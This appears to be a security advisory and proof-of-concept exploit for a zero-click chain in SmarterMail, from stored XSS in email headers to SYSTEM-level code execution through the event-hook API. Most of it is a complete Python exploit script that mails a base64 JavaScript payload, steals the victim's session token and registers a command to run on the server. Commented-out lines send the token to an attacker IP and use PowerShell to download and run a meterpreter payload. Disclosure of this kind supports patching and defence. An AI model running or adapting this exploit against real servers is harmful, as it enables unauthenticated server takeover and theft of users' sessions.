Zero Click RCE
Advisory
Upgrade to the latest version of SmarterMail; https://www.smartertools.com/smartermail/downloads
Technical details
By chaining CVE-2021-32233 and CVE-2021-32234 it is possible to gain code execution on the mailserver and gain SYSTEM privileges when ever a user opens there webmail inbox.
So how from XSS -> RCE.
While we trigger the same XSS Instead of executing an Alert()
box we call the fetch()
command to trigger a POST request to the /api/v1/settings/event-hook
endpoint.
Breaking it down:
the function prepXssEventPayload
we declare a xsspayload variable that is JavaScript;
We create a headers
array setting the Content-Type
and appending a Authorization
header containing the "Bearer " + sessionStorage['token']
.
We then declare the arguments
to execute in the args
variable.
The data
variable is a JSON object set with the bare minimum. We then append the command to execute like cmd.exe
or powershell
xsspayload = """
headers = {{"Content-Type": "application/json"}};
headers["Authorization"] = "Bearer " + sessionStorage['token'];
args = "{arguments}";
data = {{"actions":[{{"constrained":true,"constraintFrequency":"00:00:00","constraintKey":"","defaultFrequencyInMinutes":0,"eventActionID":0,"inputs":[{{"descriptionResourceId":"@EventInput_Process","hidden":false,"inputType":0,"key":"process","prefillKey":null,"required":false,"value":""}},{{"descriptionResourceId":"@EventInput_Arguments","hidden":false,"inputType":0,"key":"arguments","prefillKey":null,"required":false,"value":""}}],"key":"CommandLineAction","lastOccuredMapping":{{}},"lastOccuredUTC":"0001-01-01T00:00:00","requires":1,"showVariables":true,"didTrigger":false,"id":"","lastInput":{{"descriptionResourceId":"@EventInput_Arguments","hidden":true ,"inputType":0,"key":"arguments","prefillKey":null,"required":false,"value":""}}}}],"actionsByKey":{{}},"conditions":[],"conditionsByKey":{{}},"enabled":true,"eventID":30000,"groupID":"","isNew":true,"name":"_","owner":""}};
data["actions"][0]["inputs"][0]["value"] = "{command}";
data["actions"][0]["inputs"][1]["value"] = args.replaceAll('##','"');
fetch('/api/v1/settings/event-hook', {{ method: "POST", headers: headers, body: JSON.stringify(data) }})
senddata = {{"to":"'{dstemail}' <{dstemail}>;"}};
fetch('/api/v1/mail/message-put', {{ method: "POST", headers: headers, body: JSON.stringify(senddata) }})
""".format(command=self.command, arguments=self.arguments, dstemail=dstemail)
import requests
import smtplib
from base64 import b64encode
import argparse
class exploit:
def __init__(self, dstemail, frmemail, smtpsrv, command, arguments):
self.smtpsrv = smtpsrv
self.command = command
self.arguments = arguments
self.dstemail = dstemail
self.frmemail = frmemail
def run(self):
try:
msg = """From: A <img src=x id="{payload}" onerror=eval(atob(this.id)) <
To: B <img src=x id="{payload}" onerror=eval(atob(this.id)) <
Subject: Attention!<img src=x id="{payload}" onerror=eval(atob(this.id)) <
Content-type: text/html
Dear Sir,
bla bla bla bla
\r\n\r\n""".format(payload=self.prepXssEventPayload())
server = smtplib.SMTP(self.smtpsrv)
server.sendmail(self.frmemail, self.dstemail, msg)
server.quit()
print ("Payload dropped, now wait for a user to access the webmail INBOX.")
except Exception as e:
print (e)
def prepXssEventPayload(self):
# xsspayload = """var a=document.createElement("script");
# var jwt=JSON.stringify(sessionStorage);
# a.src="//{}:{}/?id="+btoa(jwt);
# document.body.appendChild(a);""".format(attackerIP, str(attackerPort))
xsspayload = """
headers = {{"Content-Type": "application/json"}};
headers["Authorization"] = "Bearer " + sessionStorage['token'];
args = "{arguments}";
data = {{"actions":[{{"constrained":true,"constraintFrequency":"00:00:00","constraintKey":"","defaultFrequencyInMinutes":0,"eventActionID":0,"inputs":[{{"descriptionResourceId":"@EventInput_Process","hidden":false,"inputType":0,"key":"process","prefillKey":null,"required":false,"value":""}},{{"descriptionResourceId":"@EventInput_Arguments","hidden":false,"inputType":0,"key":"arguments","prefillKey":null,"required":false,"value":""}}],"key":"CommandLineAction","lastOccuredMapping":{{}},"lastOccuredUTC":"0001-01-01T00:00:00","requires":1,"showVariables":true,"didTrigger":false,"id":"","lastInput":{{"descriptionResourceId":"@EventInput_Arguments","hidden":true ,"inputType":0,"key":"arguments","prefillKey":null,"required":false,"value":""}}}}],"actionsByKey":{{}},"conditions":[],"conditionsByKey":{{}},"enabled":true,"eventID":30000,"groupID":"","isNew":true,"name":"_","owner":""}};
data["actions"][0]["inputs"][0]["value"] = "{command}";
data["actions"][0]["inputs"][1]["value"] = args.replaceAll('##','"');
fetch('/api/v1/settings/event-hook', {{ method: "POST", headers: headers, body: JSON.stringify(data) }})
senddata = {{"to":"'{dstemail}' <{dstemail}>;"}};
fetch('/api/v1/mail/message-put', {{ method: "POST", headers: headers, body: JSON.stringify(senddata) }})
""".format(command=self.command, arguments=self.arguments, dstemail=dstemail)
payload_bytes = xsspayload.encode('ascii')
base64_bytes = b64encode(payload_bytes)
base64_payload = base64_bytes.decode('ascii')
payload = base64_payload.replace("=","=")
return payload
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='ZeroClick XSS to RCE in SmarterMail Build 7776 (Apr 16, 2021)')
parser.add_argument('--dstemail', '-d',
required=True,
help='Destination email')
parser.add_argument('--frmemail', '-f',
required=True,
help='From email')
parser.add_argument('--smtpsrv', '-s',
required=True,
help='SMTP server')
parser.add_argument('--command', '-c',
default="c:\\\\Windows\\\\System32\\\\cmd.exe",
help='command to execute')
parser.add_argument('--arguments', '-a',
default="/c whoami > c:\\\\xyz.txt",
help='arguments to execute')
args = parser.parse_args()
dstemail = args.dstemail
frmemail = args.frmemail
smtpsrv = args.smtpsrv
command = args.command
# The ## below will be replace later on to get \"
# arguments = "-ExecutionPolicy Bypass -NoExit ##IEX(New-Object System.Net.WebClient).DownloadString(\'http://192.168.1.233/meterpreter.ps1\');##"
arguments = args.arguments
x = exploit(dstemail,frmemail,smtpsrv,command,arguments)
x.run()